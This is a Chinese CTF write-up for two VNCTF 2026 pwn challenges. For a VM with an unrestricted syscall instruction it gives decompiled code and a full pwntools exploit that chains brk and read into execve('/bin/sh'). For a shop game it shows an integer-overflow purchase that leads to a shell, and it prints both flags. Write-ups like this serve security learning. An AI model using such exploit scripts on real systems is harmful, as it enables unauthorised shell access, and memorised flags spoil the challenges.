0x00

寒假躺了好久,看看题稍微复健一下

0x01 vm-syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
__int64 __fastcall main(int a1, char **a2, char **a3)
{
void **ptr; // rbx

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
ptr = malloc(0x48uLL);
memset(ptr, 0, 0x48uLL);
ptr = (void **)ptr;
*ptr = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
puts("Enter your code:");
read(0, *(void **)ptr, 0x200uLL);
mprotect(*(void **)ptr, 0x1000uLL, 1);
sub_1DAF();
free(ptr);
return 0LL;
}

__int64 sub_1DAF()
{
__int64 n0x200; // rax
unsigned __int8 v1; // [rsp+Fh] [rbp-1h]

while ( 1 )
{
n0x200 = *((unsigned int *)ptr + 2);
if ( (unsigned int)n0x200 > 0x200 )
break;
v1 = sub_1200();
if ( (unsigned int)sub_126B(v1) == -1 )
{
puts("Invalid choice!");
exit(0);
}
switch ( v1 )
{
case 0u:
puts("Blessed are the people who have nothing, for they shall have everything!");
break;
case 1u:
sub_14E4();
break;
case 2u:
sub_160B();
break;
case 3u:
sub_196B();
break;
case 4u:
sub_1D78((__int64 *)ptr + 2);
break;
default:
puts("Invalid choice!");
exit(0);
}
}
return n0x200;
}

一个还算简单的 vm,四种指令,类型分别为双寄存器,双寄存器加立即数,三寄存器加立即数以及syscall。重点看一下这里syscall选项函数的汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
.text:0000000000001D78 ; __int64 __fastcall sub_1D78(__int64 *)
.text:0000000000001D78 sub_1D78 proc near ; CODE XREF: sub_1DAF+AC↓p
.text:0000000000001D78
.text:0000000000001D78 var_18 = qword ptr -18h
.text:0000000000001D78
.text:0000000000001D78 ; __unwind {
.text:0000000000001D78 push rbp
.text:0000000000001D79 mov rbp, rsp
.text:0000000000001D7C push r12
.text:0000000000001D7E push rbx
.text:0000000000001D7F mov [rbp+var_18], rdi
.text:0000000000001D83 mov r12, [rbp+var_18]
.text:0000000000001D87 push rbx
.text:0000000000001D88 xor r8, r8
.text:0000000000001D8B xor r9, r9
.text:0000000000001D8E xor r10, r10
.text:0000000000001D91 mov rbx, r12
.text:0000000000001D94 mov rax, [rbx]
.text:0000000000001D97 mov rdi, [rbx+8]
.text:0000000000001D9B mov rsi, [rbx+10h]
.text:0000000000001D9F mov rdx, [rbx+18h]
.text:0000000000001DA3 syscall ; LINUX -
.text:0000000000001DA5 mov [rbx], rax
.text:0000000000001DA8 pop rbx
.text:0000000000001DA9 nop
.text:0000000000001DAA pop rbx
.text:0000000000001DAB pop r12
.text:0000000000001DAD pop rbp
.text:0000000000001DAE retn
.text:0000000000001DAE ; } // starts at 1D78
.text:0000000000001DAE sub_1D78 endp

这个函数参数是这个vm的虚拟寄存器起始地址(共有四个虚拟寄存器),稍微看一眼就知道reg0控制rax,后续reg1-3控制rdi,rsi,rdx。同时syscall结束后会将rax再放回reg0

PIE开启,没有任何已知的内存地址,但是syscall没有任何限制。于是利用brk(0)返回值在rax获取一个靠近堆区的内存地址,然后写/bin/sh执行execve("/bin/sh", 0, 0)即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "114.66.24.228"
port = 31211
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x1da5)
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)

io = start()

def reset():
code = b'\00'
return code

def syscall():
code = b'\x04'
return code # 会将rax的值放回reg0

def mov(r1, r2):
code = b'\x01' + p8(r1) + p8(r2) + b'\x10'
return code

def xchg(r1, r2):
code = b'\x01' + p8(r1) + p8(r2) + b'\x30'
return code

def add_imm_1(r1, r2, imm):
code = b'\x02' + p8(r1) + p8(r2) + b'\x01' + p8(imm) + b'\x10'
return code # r1 = r2 + imm

def add_imm_4(r1, r2, imm):
code = b'\x02' + p8(r1) + p8(r2) + b'\x04' + p32(imm)[::-1] + b'\x10'
return code # r1 = r2 + imm,注意这里立即数是大端序读取的

def sub_imm_1(r1, r2, imm):
code = b'\x02' + p8(r1) + p8(r2) + b'\x01' + p8(imm) + b'\x20'
return code # r1 = r2 - imm

def sub_imm_4(r1, r2, imm):
code = b'\x02' + p8(r1) + p8(r2) + b'\x04' + p32(imm)[::-1] + b'\x20'
return code # r1 = r2 - imm, 注意这里立即数是大端序读取的

def add_reg(r1, r2, r3):
code = b'\x03' + p8(r1) + p8(r2) + p8(r3) + b'\x10'
return code # r1 = r2 + r3

def sub_reg(r1, r2, r3):
code = b'\x03' + p8(r1) + p8(r2) + p8(r3) + b'\x20'
return code # r1 = r2 - r3

def set_reg(idx, imm):
code = sub_reg(idx, idx, idx)
code += add_imm_4(idx, idx, imm)
return code

io.recvuntil(b':')
code = set_reg(0, 12) # brk rax = 12
code += set_reg(1, 0) # rdi = 0
code += syscall() # brk(0) rax = mem_addr closed to heap
code += mov(2, 0) # rsi = rax = mem_addr closed to heap
code += sub_imm_4(2, 2, 0x10000) # get addr in heap
code += set_reg(0, 0) # rax = 0
code += set_reg(1, 0) # rdi = 0
code += set_reg(3, 0x8) # rdx = 0x8
code += syscall() # read(0, mem_addr, 0x8)
code += set_reg(0, 0x3b) # rax = 59
code += mov(1, 2) # rdi = rsi = mem_addr = binsh
code += set_reg(2, 0) # rsi = 0
code += set_reg(3, 0) # rdx = 0
code += syscall()
io.send(code)
sleep(1)
io.send(b'/bin/sh\x00')
io.interactive()

#VNCTF{5d2391ac-2400-457f-9811-6af2050aaf8a}

0x02 eat some ai

没有附件,nc 后是类似一个商店的交互 可以在商人买东西 简单Fuzz后能得到它存在32位的整形溢出 输入一个数num

Cost = num * 3000

经过LLM计算 1431323 是一个不错的数据 它能让我们获得100w+的积分,接下来再继续战斗就能直接 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 ── r3t2@LAPTOP-6JKPOVPE:~/ctf/vnctf2026/vmsyscall
│ 18:06:04
── $ nc 114.66.24.228 31870
>>> 胜率计算规则 <<<
基础胜率: 30%
属性克制: +40% (具体克制关系请自行查阅 Wiki: https://wiki.biligame.com/nightreign/)
稀有度加成: 稀有+10%, 史诗+20%, 传说+30%
历战王惩罚: -20%
连胜加成: 每连胜一场,下场胜利额外获得 (连胜数 * 100) 积分
====================
=== 艾尔登法环:黑夜君临 (深夜模式) ===
加载存档... 当前深度: 0 (积分: 3300/1000000, 当前连胜: 2, 轮数: 3/10)
遭遇 领主: 历战王 黑夜之魔 利普拉
描述: 模仿人类行为的诡异山羊头生物──它驱使着可疑的炼金术,利用虚假的黄金让人丧失心智,陷入疯狂。
你获得了武器: 打刀
描述: 芦苇之地的刀。
造成属性: 物理
稀有度: 普通

>>> 阴影中走出一个佝偻的身影 <<<
[流浪商人] 我这里有一些来自交界地的护符,或许能帮你活下来...
1. 红琥珀链坠
2. 黄金树的恩惠
3. 蓝羽七刃剑
4. 米莉森的义手
售价: 3000 积分/个 (效果可叠加)
你要购买几个?(输入 0 离开): 1431323
[系统] 总计需要支付: -998296 积分
[流浪商人] 很好... 拿去吧...
获得护符!胜率大幅提升!
当前剩余积分: 1001596
预期获得积分: 2500
是否开始战斗?(输入 '战斗' 继续,或其他任意键退出)
战斗
战斗开始...
>>> 胜利!击败了 历战王 黑夜之魔 利普拉 <<<
获得 2500 基础积分!
达成 3 连胜!额外获得 300 积分!
存档已保存。
恭喜你,渡夜者!你已达完全掌握黑夜卢恩的力量。
whoami
/bin/sh: 1: whoami: not found
ls
save.json

比较有趣的点是题目远程要求使用promptai agent来操作并获取 flag,研究一下prompt即可,远程 flag 在根目录下

#VNCTF{Ni9HT_Re1gN_m@$73R_9999_85d022f7-a1aa-47a9-85ea-9d827c9a9668}